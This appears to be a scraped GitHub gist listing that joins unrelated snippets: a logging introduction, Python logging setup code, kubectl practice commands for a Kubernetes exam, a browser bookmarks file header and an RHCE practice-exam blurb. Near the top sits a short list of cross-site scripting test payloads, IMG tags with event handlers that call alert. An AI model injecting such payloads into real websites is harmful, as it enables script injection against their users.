When applications are running in production, they become black boxes that need to be traced and monitored. One of the simplest, yet main, ways to do so is logging. Logging allows us - at the time we develop our software - to instruct the program to emit information while the system is running that will be useful for us and our sysadmins.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def init_log(logname, filename, level=logging.DEBUG, console=True): | |
| # make log file directory when not exist | |
| directory = os.path.dirname(filename) | |
| if not os.path.exists(directory): | |
| os.makedirs(directory) | |
| # set up logging to file - see previous section for more details | |
| logging.basicConfig(level=level, | |
| format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', | |
| datefmt='%Y-%m-%d %H:%M', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /usr/bin/env python | |
| import logging | |
| """ | |
| I never remember all the steps for setting up logging in python. | |
| This gist goes through the steps so I can copy and paste what I need. | |
| """ | |
| # create logger on the current module and set its level | |
| logger = logging.getLogger(__file__) |
===========================================================================================
alias k=kubectl
k config get-context
k config current-context
echo " k config current-context" > /opt/course/1/context_default_kubectl.sh
chmod +x /opt/course/1/context_default_kubectl.sh
bash /opt/course/1/context_default_kubectl.sh
cat .kube/config | grep current
- local https://github.com/kubernetes-sigs/kind (or just use minikube if it works for you)
- cloud https://cloud.google.com/kubernetes-engine (for PersistentVolume and Ingress, I needed to try the real deal)
- practice environment: https://github.com/arush-sal/cka-practice-environment
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE NETSCAPE-Bookmark-file-1> | |
| <!-- This is an automatically generated file. | |
| It will be read and overwritten. | |
| DO NOT EDIT! --> | |
| <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> | |
| <TITLE>Bookmarks</TITLE> | |
| <H1>Bookmarks</H1> | |
| <DL><p> | |
| <DT><H3 ADD_DATE="1626629115" LAST_MODIFIED="1626629462" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks bar</H3> | |
| <DL><p> |
There are 18 questions in total. You will need five RHEL 8 (or CentOS 😎 virtual machines to be able to successfully complete all questions.
Here is an automated exam environment deployment for Mac/Linux/Windows that deploys the practice exam environment for you, including IPA server/client installation and configuration. You can also use your own lab environment. Navigate to the respective repo you wish to use for this practice exam and follow the README instructions:
https://github.com/rdbreak/rhce8env, https://github.com/rdbreak/ansible27env, https://github.com/rdbreak/ansible8env.
NewerOlder
